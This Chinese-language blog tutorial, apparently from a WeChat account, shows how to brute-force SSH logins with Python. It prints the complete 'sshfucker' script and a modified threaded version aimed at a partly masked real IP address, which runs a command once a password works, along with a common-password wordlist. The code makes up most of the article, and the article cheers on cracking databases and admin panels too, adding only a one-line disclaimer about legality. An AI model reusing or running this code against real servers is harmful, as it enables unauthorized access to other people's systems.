手把手教你用Python進(jìn)行SSH暴力破解
回復(fù)“書(shū)籍”即可獲贈(zèng)Python從入門(mén)到進(jìn)階共10本電子書(shū)
暴力破解屬于密碼破解的一種,也是最常見(jiàn)的破解方法之一,通過(guò)不斷的嘗試來(lái)達(dá)到破解的目的,所以暴力破解的本質(zhì)就是一種枚舉。
現(xiàn)在也有很多流行的破解軟件,不過(guò)個(gè)人覺(jué)得裝上kail其實(shí)也就啥都有了,但是今天我們不說(shuō)他們,今天主題是如何使用Python來(lái)進(jìn)行SSH的暴力破解。

在Github上有一個(gè)庫(kù)叫sshfucker,專(zhuān)門(mén)用于 SSH 的暴力破解。
https://github.com/TheKingOfDuck/sshfucker
這個(gè)模塊很簡(jiǎn)單,代碼實(shí)現(xiàn)不到70行,只封裝了一個(gè)py文件。
#?!/usr/bin/python?python
#?-*-?coding:?utf-8?-*-
import?paramiko,?threading,?sys,?time,?os
class?SSHThread(threading.Thread):
????def?__init__(self,?ip,?port,?timeout,?dic,?LogFile):
????????threading.Thread.__init__(self)
????????self.ip?=?ip
????????self.port?=?port
????????self.dict?=?dic
????????self.timeout?=?timeout
????????self.LogFile?=?LogFile
????def?run(self):
????????print("Start?try?ssh?=>?%s"?%?self.ip)
????????username?=?"root"
????????try:
????????????password?=?open(self.dict).read().split('\n')
????????except:
????????????print("Open?dict?file?`%s`?error"?%?self.dict)
????????????exit(1)
????????for?pwd?in?password:
????????????try:
????????????????ssh?=?paramiko.SSHClient()
????????????????ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
????????????????ssh.connect(self.ip,?self.port,?username,?pwd,?timeout=self.timeout)
????????????????print("\nIP?=>?%s,?Login?%s?=>?%s?\n"?%?(self.ip,?username,?pwd))
????????????????open(self.LogFile,?"a").write("[?%s?]?IP?=>?%s,?port?=>?%d,?%s?=>?%s?\n"?%?(
????????????????time.asctime(time.localtime(time.time())),?self.ip,?self.port,?username,?pwd))
????????????????break
????????????except:
????????????????print("IP?=>?%s,?Error?%s?=>?%s"?%?(self.ip,?username,?pwd))
????????????????pass
def?ViolenceSSH(ip,?port,?timeout,?dic,?LogFile):
????ssh_scan?=?SSHThread(ip,?port,?timeout,?dic,?LogFile)
????ssh_scan.start()
def?main(ipFile,?dic,?log):
????if?ipFile?==?"-h":
????????help()
????try:
????????ipText?=?open(ipFile).read().split('\n')
????????for?ip?in?ipText:
????????????if?ip?!=?'':
????????????????time.sleep(0.5)
????????????????threading.Thread(target=ViolenceSSH,?args=(ip,?22,?1,?dic,?log,)).start()
????except:
????????print("Open?IP?list?file?`%s`?error"?%?ipFile)
????????exit(1)
def?help():
????print("python?ssh.scan.py?:\n\
????????修改dict下的ip文件,password按需求修改,然后執(zhí)行腳本。?\n")
????exit(1)
if?__name__?==?'__main__':
????fpath?=?os.path.dirname(os.path.abspath('__file__'))
????ipFile?=?sys.argv[1]?if?len(sys.argv)?>?1?else?fpath?+?"/dict/ip"
????dic?=?sys.argv[2]?if?len(sys.argv)?>?2?else?fpath?+?"/dict/password"
????log?=?sys.argv[3]?if?len(sys.argv)?>?3?else?fpath?+?"/log/sshd"
????try:
????????os.system("clear")
????????main(ipFile,?dic,?log)
????except?KeyboardInterrupt:
????????exit(1)
我們可以明顯的看到,這個(gè)模塊依賴于 Paramiko?
Paramiko 是用于建立 SSH2 連接(客戶端或服務(wù)器)的庫(kù),基于Python實(shí)現(xiàn)。重點(diǎn)是使用 SSH2 作為 SSL 的替代方法,以在 Python 腳本之間建立安全連接。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和服務(wù)器模式。
Paramiko 庫(kù)在Python自動(dòng)化運(yùn)維領(lǐng)域很受推崇。
pip?install?paramiko
然后我們還可以看到這個(gè)模塊實(shí)際上就是利用 Paramiko? 建立了 ssh 的客戶端連接,批量導(dǎo)入文件,采用多線程的方式來(lái)進(jìn)行暴力破解,思路很清晰。
我們修改代碼實(shí)現(xiàn)如下
import?sys
import?paramiko
import?threading
from?concurrent.futures?import?ThreadPoolExecutor
ssh?=?paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())??
is_find=False
def?SshCheck(password):
????try:
????????ssh.connect("119.23.xx.xx",?22,?'root',?password,?timeout=1.5)
????????stdin,?stdout,?stderr?=?ssh.exec_command('df')
????????result?=?stdout.read()
????????if?result:
????????????sys.stdout.write('[OK]'?+?'\t'?+?password?+?'\n')
????????????global?is_find
????????????is_find?=?True
????????????exit()
????except?Exception?as?e:
????????print(e,?"失?。。。?)
????finally:
????????ssh.close()
filedata?=?open("pwds.txt",?"r")
def?run():
????pool?=?ThreadPoolExecutor(3)
????while?1:
????????global?is_find
????????if?is_find:
????????????break
????????line?=?filedata.readline()
????????if?not?line:
????????????break
????????line?=?line.strip("\n")
????????pool.submit(SshCheck,line)
run()
采用了協(xié)程并發(fā)來(lái)進(jìn)行ssh連接,如果成功破解我們就直接退出。
這里的pwds.txt 文件用于存放破解密碼。
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...
python?sshfucker.py
回車(chē)鍵一按,叮叮,收到服務(wù)器被入侵的短信?。?!

你也可以用你的云服務(wù)器或者自己搭建的服務(wù)器進(jìn)行測(cè)試,只要 ssh驗(yàn)證的ip,端口和密碼正確,即破解成功。
破解一直爽,一直破解一直爽,利用Python不僅可以對(duì)ssh進(jìn)行暴力破解,數(shù)據(jù)庫(kù),網(wǎng)站后臺(tái)管理也是同樣的道理,只不過(guò)使用的庫(kù)不同而已。
本文只是出于對(duì)Python的學(xué)習(xí)研究,請(qǐng)勿用于非法用途,小心被請(qǐng)喝茶喲!!
PS:公號(hào)內(nèi)回復(fù)「Python」即可進(jìn)入Python 新手學(xué)習(xí)交流群,一起?100 天計(jì)劃!
老規(guī)矩,兄弟們還記得么,右下角的 “在看” 點(diǎn)一下,如果感覺(jué)文章內(nèi)容不錯(cuò)的話,記得分享朋友圈讓更多的人知道!


【神秘禮包獲取方式】
